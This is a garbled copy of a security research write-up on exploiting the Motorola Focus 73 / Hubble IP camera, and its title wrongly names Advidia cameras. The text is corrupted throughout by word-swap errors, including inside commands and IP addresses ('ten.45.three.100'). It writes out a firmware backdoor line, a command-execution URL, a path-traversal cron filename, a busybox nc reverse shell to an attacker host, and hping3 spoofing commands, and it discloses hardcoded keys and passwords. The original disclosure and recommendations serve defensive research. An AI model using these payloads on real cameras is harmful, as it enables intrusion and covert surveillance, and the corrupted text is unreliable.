How To Hack Advidia Cameras

The Motorola Focus 73 outdoor security photographic camera is packed with features and quite a few surprises - it'southward not made by Motorola for starters. Information technology's the outdoor variant of a family of Blink and Motorola IP cameras manufactured by Binatone which includes babe monitors. All these products boast deject connectivity via the Hubble service (built upon an Amazon EC2 instance) which allows owners to spotter and control their camera remotely likewise equally receive movement alerts, providing their monthly plan permits information technology, through a mobile app.

This blog describes in item how we were able to exploit the camera without access to the local network, steal secrets including the home network'southward Wi-Fi password, obtain total control of the PTZ (Pan-Tilt-Zoom) controls and redirect the video feed and movement alerts to our own server; effectively watching the watchers.

The Teardown

Whenever we get new kit, we're always keen to empathize what powers it. A teardown of the device revealed a Nuvoton ARM9 SoC (N329x), with a N79E814AT20 CPU. GPIO terminals are offered adjacent to the CPU (Pin mask is 15) and there is a prominent (and hugely significant) micro switch behind the drinking glass dome which allows the app to find the camera during setup.

The PCB links to the motorised gimbal which can rotate left and right, but has a (soft) stop at xc degrees either side. This gives a full azimuth of 180 degrees which can be controlled via API commands.

Network connectivity is provided through either 802.eleven or wired Ethernet with the latter taking precedence.

An LED above the lens gives a clue to system condition and can exist controlled via a bespoke control. The LED is always on whilst the camera is working/observing and pulses on and off when streaming video to a remote server or processing a movement alert.

The respective Hubble mobile app is available for gratuitous from the usual app stores; for this research we used the Android app from the Google Play shop. The app is the portal to your cameras, all of which are associated with a Hubble account. The app is also the only 'official' method of provisioning a camera and supports many more than models of IP cameras across the Focus 73 through the use of a standard API.

The Setup

During setup the app instructs the user to either plug in an Ethernet cable or press the 'pair' push on the camera which causes the photographic camera to switch to host way and offer up an open (aka insecure) wireless network. The app then scans for this network which is typically called CameraHD-(MAC address) and prompts the user to connect to it. This is an alarming feature for a camera designed for outdoor use particularly equally the photographic camera as well offers a host of unfiltered network services, including the network video feed (RTSP), a bespoke internal messaging service for initiating alerts and two distinct web servers (nuvoton and busybox), one of which has an undocumented firmware upgrade page. Readers of our other blogs will know how much we similar upgrading firmware…

When the app associates with this open admission bespeak it problems requests to the nuvoton web server to perform a wireless browse of visible networks using the Linux iwlist command, the results of which are returned to the app every bit XML and so you can option your network from a listing. In one case selected, you must enter your private Wi-Fi security key which is and then broadcasted unencrypted over the open up network accompanied with some bones HTTP Authentication in the form of username 'camera' and password '000000'. The query cord is a curious chain of the lengths of the SSID, PSK, username and password followed by the fields themselves - worthy of a betoken for originality.

This HTTP Authentication appears to be legacy and is not used; a situation which nosotros found to be fairly common on this device, for case in that location are many legacy webpages on the camera (some which were written for the MBP2000W), like /routersetup.html. A cursory exam of these provide insight into a previous incarnation of this hardware every bit a baby monitor (pre-Hubble).

System Overview

One time configured the app communicates indirectly with the camera via the Hubble cloud service. Information technology does this through a combination of a TLS protected REST API for commands and alerts and a connexion to a streaming video server for existent-time video. The real-time video aspect is slightly more complicated. The mobile app signals to the Hubble server that it wishes to initiate a streaming video session. In society to send this control on to the camera the Hubble server needs a way of locating it on the Internet and the power to create an inbound connexion through the firewall of whatever network the camera is linked to.

The traditional way of enabling entering connections through a NAT router is via the STUN (Session Traversal Utilities for NAT) protocol. The camera sends regular heartbeat messages to the Hubble server, informing information technology of the photographic camera'due south external (WAN) IP accost and the UDP port that information technology is listening for letters on. This as well creates a temporary (120s) hole in the firewall permitting the Hubble server to connect to the camera.

Communication betwixt Hubble and the photographic camera is inside the STUN protocol itself which is an interesting way to apply STUN since it is meant to be used in support of other network protocols, much the same manner DNS enables a HTTP session. The camera maintains an open up UDP port on the NAT router via regular STUN heartbeat letters through which it receives ad-hoc commands from Hubble.

A typical control would be 'start streaming video' which would be sent as an AES encrypted message to the STUN client which decrypts it using a local key then forwards it on to its ain web server using the curlicue utility.

The web server so runs a local script which, in the case of streaming video, generates a random URL built around the hardcoded IP address of the remote video server. This URL is returned to the curl customer who in plow returns it via an encrypted STUN bulletin to Hubble and ultimately the app. Once the public URL is received by the app it connects directly to the video server and receives a UDP stream of video data. This obscure public URL tin can too be accessed direct by other clients.

The Firmware

The firmware wasn't advertised publicly simply like many IoT devices, there was a behind-the-scenes system for updating the firmware which was available via private URLs. Finding these URLs didn't take long with the help of the app which contained partial URLs in its strings. A quick chip of guesswork to fill in the blanks in the URLs (model and firmware version) and we were looking at a compressed Linux file organisation called 'skyeye', written by Hong Kong camera business firm Cvision. We were also able to obtain historical and, more significantly, development firmware via the same method.

The Cvision firmware hulk contained /bin, /etc, /lib folders only was non a full Linux OS, rather information technology was a folder which sat on mountpoint /mnt/skyeye. Some core binaries like busybox were not included considering they belonged to the parent Nuvoton OS, which did non accept an update mechanism so contained lots of quondam binaries, some 10 years onetime.

There were references in scripts and configuration files to other models of indoor IP cameras in the firmware, including switch statements for the family of Focus cameras. This suggested the firmware was generic, presumably to reduce development and support costs, and it would be configured at setup for the item model, defined in a text file.

The webserver housed at /mnt/skyeye/mlswwwn/ used haserl CGI scripts which pass HTTP form parameters direct into the beat environment (as root in this case) to perform functions such as fetching logs or upgrading firmware. In this instance information technology was exploitable by scripts which later called those saved environment variables.

Malicious Firmware Upgrade

As mentioned previously there are two web servers served from the same folder on the device (/mnt/skyeye/mlswwwn/) on port 80 and 8080 respectively. The 2d server is a busybox httpd which similar any normal httpd restricts access to special files like executables or scripts in /cgi-bin/ for example. Unfortunately the Nuvoton (possibly MJPG based) spider web server on port 80 has no such brake, so any file we couldn't run into on port 8080 we could read in full on 80, including ELF binaries which provided a valuable insight into the architecture (ARM32 LE) and executable environs.

I of these files was a very interesting haserl script, called haserlupgrade.cgi, and was identified as the start of the firmware update process. As the firmware is non encrypted or signed we were able to alter it to include an edited haserl script which contained a discrete one line backdoor: <% $FORM_run %>.

The modified firmware can then be uploaded via http://(IP):8080/fwupgrade.html assuasive us to execute arbitrary commands as root with the browser like so:

http://(IP):8080/cgi-bin/script.cgi?run=cat /etc/passwd

Directory traversal and command injection

We identified a potential vulnerability in the haserlupgrade CGI script (come across to a higher place) in the course of good old directory traversal. The script (running equally root) takes a compressed firmware epitome and moves it to a designated location outside the webroot. Fatally, information technology does not validate the filename provided in the course and so "new_firmware.tgz" and "../../../mnt/skyeye/etc/cron/root" are both OK. By creating an equivalent script in a test surround we verified the directory traversal worked considering haserl doesn't validate any input, simply despite repeated attempts nosotros couldn't get a file to stick, it kept getting removed regardless of where we put it on the file system (which was anywhere because it was privileged). At this stage nosotros had the adequacy to brick the device by overwriting a key file (eg. /bin/busybox) which considering it's a security photographic camera could exist advantageous...

It makes sense that a firmware upgrade procedure deletes the firmware file on completion. Not to be deterred we examined the remainder of the script and discovered an interrupt call to a 'fwupgrade' binary (line 16) which we loaded into IDA. This binary makes apply of the firmware file proper name that was saved into /mnt/cache/new_fwupgrade (line eight). When fwupgrade receives the SIGUSR1 interrupt it reads 128 bytes from the new_fwupgrade file and uses this for the firmware filename. It so calls a shell script to perform the firmware update on this filename which cleans upward the firmware file on completion.

As the firmware filename is output to a file which fwupgrade and then reads 128 bytes from, this allows for a firmware with a very long filename to break the procedure and for the uploaded file to not become deleted as it simply has a partial filename.

Our called filename traversed back to the file root, and so forrard then back until it was greater than 128 bytes. Finally it places our called file in the 'cron' folder where jobs are read and executed every minute. The repetitive folder names could be replaced by random characters or a brusk poem, so long as they exceed 128 bytes.

../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/etc/cron/root

The job? a reverse crush every infinitesimal for life using busybox:

/bin/busybox nc ten.45.three.100 1664 -e /bin/sh

The cron cycle takes 60 seconds and then whilst we were waiting for our remember nosotros were amused to discover we were shown a progress page which revealed our chosen filename and filesize in bytes - neither of which were considered to be suspicious. We could have used any port number as the device has no firewall.

Having obtained root admission to the photographic camera, cracking the root password in /etc/shadow using John the ripper was picayune and pointless but for information it was '123456'. Lower privilege user accounts similar ftp were noted but none were in use.

Earthworks around some more we establish some treasure in the course of the router'south (yeah the home network) Wi-Fi password in plaintext at /tmp/wpa.conf. We besides found manufactory wireless credentials for secure Cvision test networks which are practical after a factory reset (power on holding pair push) so you could get the camera to associate with your own 'Cvision' network in an evil twin set on - not that yous need to cheers to the pair functionality.

The device also appears to run some interesting GPLv2 sourced software which is backed up past the argument on Nuvoton'south website for the SoC: "the open up source lawmaking surround also give the product evolution more flexible." (sic). The service running on port 80 behaves merely similar MJPG streamer but has additional functionality for remote command. The STUN customer used appears to be PJNATH judging past the strings and symbols observed just again this appears to have been extended with new functionality to perform C&C within the STUN messages.

Running 'ps' on the camera reveals lots of threads for the 'msloader' binary which handles the camera's core functionality, alerting and control and control. This complex binary presumably leaks retention judging by the cron jobs we establish which reboot the binary on a precise schedule in the early on hours of the morn. We won't publish the hours it reboots as no skill is required to exploit that feature simply hopefully criminals will be sleeping then anyway...

The device's logs contained an alarming corporeality of detail including the AES encryption primal for the remote command STUN messages and FTP credentials for video clip storage. Error letters confirmed our suspicions that the open source PJNATH library was existence used and then we looked upwardly the source code to meet how these STUN messages were being secured.

Interestingly the log files are available to download from the web interface but are first encrypted using a custom binary (/bin/crypto). This binary uses the Linux crypto API with a hardcoded AES key: Cvision123459876. This ways a stranger could dump your logs and remote command keys via the CGI script at :8080/cgi-bin/logdownload.cgi

Remote STUN attack

The camera uses the STUN protocol to maintain communications with the Hubble server. Within the STUN parcel at that place is a department of mystery data which assay revealed contains a 16 byte IV and a blob of AES encrypted data. Every bit we already had the AES key which was stored on the device and the 4 from the packet we were hands able to decrypt this command data.

The data in the STUN message is used to get encrypted commands from 'the cloud' to the camera eg. 'start recording', 'change video server', 'move left', 'reboot'. With the ability to decrypt the messages, the various camera controls were mapped and could be recreated by re-encrypting modified packets with the original AES key. On the camera-side the decrypted data is essentially just a web command that is parsed by the STUN library which in turn uses Curl to pass the command on to the HTTP server to action. After the earlier WPA PSK faux pas, this is the 2nd example of a secret message being communicated on an open channel.

Whilst looking into this mechanism we noted that information technology is also possible to replay sometime STUN messages equally at that place is no timeout on the encrypted command. At this point the AES key is clearly the primary security mechanism stopping a full remote attack and so it was essential to make up one's mind where and how this is created. A binary on the device called camregister was identified which contains the routine for obtaining the AES key for the device. This is handled on the initial camera setup over an SSL connexion to the Hubble server. It sends an HTTP Postal service asking with the MAC address, firmware version, UDID and a few other details. It and then receives the AES primal from Hubble which is saved to the device; the fundamental is and so checked via a GET API request earlier finishing the registration. As the AES central generation is undertaken on the Hubble server information technology was not possible to (legally) establish how the key generation takes place although nosotros believe it is random as it changes when you repeat the process. The GET API central check also presents a potential vector for a malicious attacker to test for valid keys.

Having hitting a roadblock with the AES cardinal generation nosotros backtracked to the STUN messages to take a second look. To keep the STUN session active a UDP port on the WAN interface of the NAT router is kept open with STUN heartbeat messages. Further analysis of the STUN library identified that at that place were no checks on the decrypted data which was blindly forwarded on to the internal webserver using Whorl. With more fourth dimension we would accept liked to have investigated the possibility of remote access due to the lack of input validation of the decrypted STUN messages.

Bullheaded remote attack with IP spoofing

If an assaulter has acquired the AES key (locally via logdownload.cgi or via the Hubble Go API key call) it would be possible for them to take command of the camera. To demonstrate this we wrote a short Python script to generate valid encrypted commands which we then used in conjunction with hping3 to spoof the Hubble STUN server from outside the NAT router. As about ISPs don't permit IP spoofing onto the net nosotros tested this from the WAN Ethernet port on a popular NAT router with the photographic camera setup as a wireless customer on the masqueraded internal IP range (192.168.0.0/24). All responses to STUN commands go dorsum to Hubble so if you can't get close plenty to intercept them you must practice a blind attack issuing a control blindly which will elicit a response. We found one such command in the start full move video feed control which coincidentally is probably an attackers goal.

The API commands "set_wowza_server&value=(ip)" and "start_rtmp&value=1" will allow you to redirect the RTMP video stream to your own server. We used the open source video server Red5. A successful blind attack will outcome in a TCP video stream to your server on port 1935 (Macromedia).

python stunning.py "set_wowza_server&value=10.45.3.100" > stunpacket

hping3 10.45.3.62 --udp -5 -p 50610 --spoof stun.hubble.in -south 3478 --file stunpacket --data $(stat -c%s stunpacket) -c 1

During development of our script we discovered the receiving STUN customer is non fussy and it accepted technically invalid packets or packets with Unix special characters or not-command URLs so y'all can encrypt and send whatsoever HTTP GET request and it will go forwarded on to localhost with CURL.

Hijacking IP cameras backside NAT with CSRF

Without the AES key information technology is still possible to proceeds control via JavaScript using CSRF. We fabricated a JavaScript function to automatically scan for these cameras, upload a cron job using XmlHttpRequest to become a reverse root shell besides as upload our own resolv.conf DNS file to control the DNS and intercept all the alerts. This shouldn't work due to the Cross-Origin Resource Sharing (CORS) restrictions in web browsers which prevent a folio loading content from some other domain. However, CORS does not prevent you sending data (with http Postal service) to another domain, which means by the time the CORS security bulletin appears in your browser's fault console telling y'all it's blocked some content...this technique has already worked.

If someone were to view a webpage containing this snippet of script it could compromise and subvert every vulnerable camera on their network automatically. Surveillance indeed.

Watching the watchers

In one case we had established command of the photographic camera we overwrote the DNS configuration file defined at /etc/resolv.conf so lookups for the cloud image storage, upload1.hubble.in, would resolve to our web server assuasive us to receive an Orwellian feed of movement alarm JPEGs but also FLV video clips normally only available to paying customers of the Hubble service. The media is sent unencrypted using HTTP POST to either /v1/uploads/snap.json or /v1/uploads/clip.json so we knocked upward a PHP script to handle the uploads and store them to peruse at our leisure…

Recommendations

When designing a smart device, we recommend applying established security principles like input validation, bounds checking, access control and authentication. Encrypting communications is expert but if the keys are readily available and then all information technology does is delay rather than stop an attacker. Keys should be guarded every bit closely as possible and not available in logs or be exist able to exist set past an untrusted party. If Encryption on an interface is used then the secret information contained within should not and then be decrypted and passed on via an unencrypted interface as this defeats the purpose. It should be used equally quickly and discretely as possible and so cleared from retentivity.

Basic principles like defense in depth and least privilege should be applied so when someone gains access to the device via unpatched network binaries on the underlying SoC firmware for example, they volition not be able to practice as much as if they had root privileges.

Firmware should be signed and encrypted every bit a minimum to terminate bad firmware uploads or tampering. Failure to practise this not just carries security risks merely besides business risks as many smart devices rely on their firmware to lock their customers into a monthly pricing model, like this camera. Open source firmware (eg. jailbreaking) threatens this cloud based concern model as users could accept total advantage of their device's subconscious FTP, Email and Dropbox features.

Timeline

As function of Context'southward responsible disclosure policy we contacted Motorola Monitors support in early Oct 2015, they referred the states to Hubble, who have since taken steps to accost the critical issues and tighten up security working with partners Motorola, Binatone, Hubble, Nuvoton and the actual software developer CVision. New firmware updates have been released in November 2015 and before this month and further patches are currently existence rolled out to customers cameras via an automated update procedure. It is Context's agreement that version 01.19.26 addresses disquisitional issues.

Vendor comment

Brendan Gibb, CISO at Hubble provided the following comment:

Hubble Connected has fully patched the ... vulnerability to ensure that the reported bug is addressed. This firmware volition be released on February 2, 2016 to all afflicted cameras and customers will receive the updates shortly thereafter
...
Information technology is my understanding that this addresses the well-nigh serious business organization to public condom and reduces risk that our cameras are used past a third party. The Hubble brand remains committed to ensuring our products and customers are safe from compromise and we remain ready to address issues that are found and reported by security researchers. Thanks to Context IS for raising the concern to our attention and providing us sufficient fourth dimension to address the vulnerability.

Contact and Follow-Up

Neil and Al are part of our Research team in Context's Cheltenham office. See the contact page for how to get in bear on..

For data on Motorola camera updates please contact support@motorolamonitors.com